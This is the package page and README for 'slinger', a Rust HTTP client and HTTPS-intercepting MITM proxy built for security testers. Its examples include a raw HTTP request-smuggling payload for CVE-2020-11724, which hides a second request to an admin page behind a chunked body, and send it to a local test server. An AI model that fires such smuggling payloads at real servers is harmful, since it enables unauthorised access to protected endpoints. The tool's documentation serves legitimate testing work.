| Crates.io | slinger |
| lib.rs | slinger |
| version | 0.2.12 |
| created_at | 2024-05-26 10:26:04.672835+00 |
| updated_at | 2025-11-30 15:16:47.919375+00 |
| description | An HTTP Client for Rust designed for hackers. |
| homepage | https://github.com/emo-crab/slinger |
| repository | https://github.com/emo-crab/slinger |
| max_upload_size | |
| id | 1252490 |
| size | 272,587 |
An HTTP Client for Rust designed for hackers.
Explore the docs »
View Demo
·
Report Bug
·
Request Feature

Slinger is a workspace containing:
The core HTTP client library for Rust designed for hackers.
A Man-in-the-Middle (MITM) proxy with transparent HTTPS traffic interception, similar to Burp Suite.
This example enables some optional features, so your Cargo.toml could look like this:
[dependencies]
slinger = { version = "0.2.9", features = ["serde", "cookie", "charset", "tls", "rustls", "gzip"] }
And then the code:
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
let resp = slinger::get("https://httpbin.org/get").await?;
println!("{:?}", resp.text());
Ok(())
}
Add to your Cargo.toml:
[dependencies]
slinger-mitm = { version = "0.2.9" }
tokio = { version = "1", features = ["full"] }
Example code:
use slinger_mitm::{MitmConfig, MitmProxy, Interceptor};
use std::sync::Arc;
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
let config = MitmConfig::default();
let proxy = MitmProxy::new(config).await?;
// Add logging interceptor
let handler = proxy.interceptor_handler();
let mut h = handler.write().await;
h.add_request_interceptor(Arc::new(Interceptor::logging()));
drop(h);
proxy.start("127.0.0.1:8080").await?;
Ok(())
}
See slinger-mitm/README.md for more details on MITM proxy usage.
Slinger supports the following optional features:
tls - Base TLS feature (enables TLS types and interfaces without a specific backend)rustls - HTTPS support using Rustls (requires tls, pure Rust implementation)http2 - HTTP/2 protocol support (requires a TLS backend)cookie - Cookie handling supportcharset - Character encoding supportserde - Serialization/deserialization supportgzip - Gzip compression supportschema - JSON Schema supportTo use TLS, you must:
tls featurerustls backend, OR provide a custom TLS connectorExample feature combinations:
# Using rustls backend
slinger = { version = "0.2.8", features = ["tls", "rustls"] }
# Using custom TLS backend (requires implementing CustomTlsConnector)
slinger = { version = "0.2.8", features = ["tls"] }
If you want to use native-tls, OpenSSL, or other TLS libraries, you can implement a custom TLS connector. See the native_tls_example.rs for a complete example of how to integrate native-tls.
use std::io::BufRead;
use slinger::{ClientBuilder, HTTPRecord};
/// CVE-2020-11724
/// when you're using BurpSuite proxy need **disabled** "set **Connection** header on incoming request"
const RAW: &[u8] = b"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked
0
GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0
";
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
// let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
let client = ClientBuilder::default().build().unwrap();
let mut raw = Vec::new();
// replace \n to \r\n
for line in RAW.lines() {
match line {
Ok(l) => {
raw.extend(l.as_bytes());
raw.extend(b"\r\n")
}
Err(err) => {
println!("{:?}", err);
}
}
}
let resp = client.raw("http://127.0.0.1:9015/", raw, true).send().await?;
let record = resp.extensions().get::<Vec<HTTPRecord>>().unwrap();
println!("{:?}", record);
Ok(())
}
For more examples, please refer to the example
Contributions are what make the open source community such an amazing place to learn, inspire, and create. Any contributions you make are greatly appreciated.
If you have a suggestion that would make this better, please fork the repo and create a pull request. You can also simply open an issue with the tag "enhancement". Don't forget to give the project a star! Thanks again!
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)Distributed under the GPL-3.0-only License. See LICENSE for more information.
Your Name - @Kali_Team - root@kali-team.cn
Project Link: https://github.com/emo-crab/slinger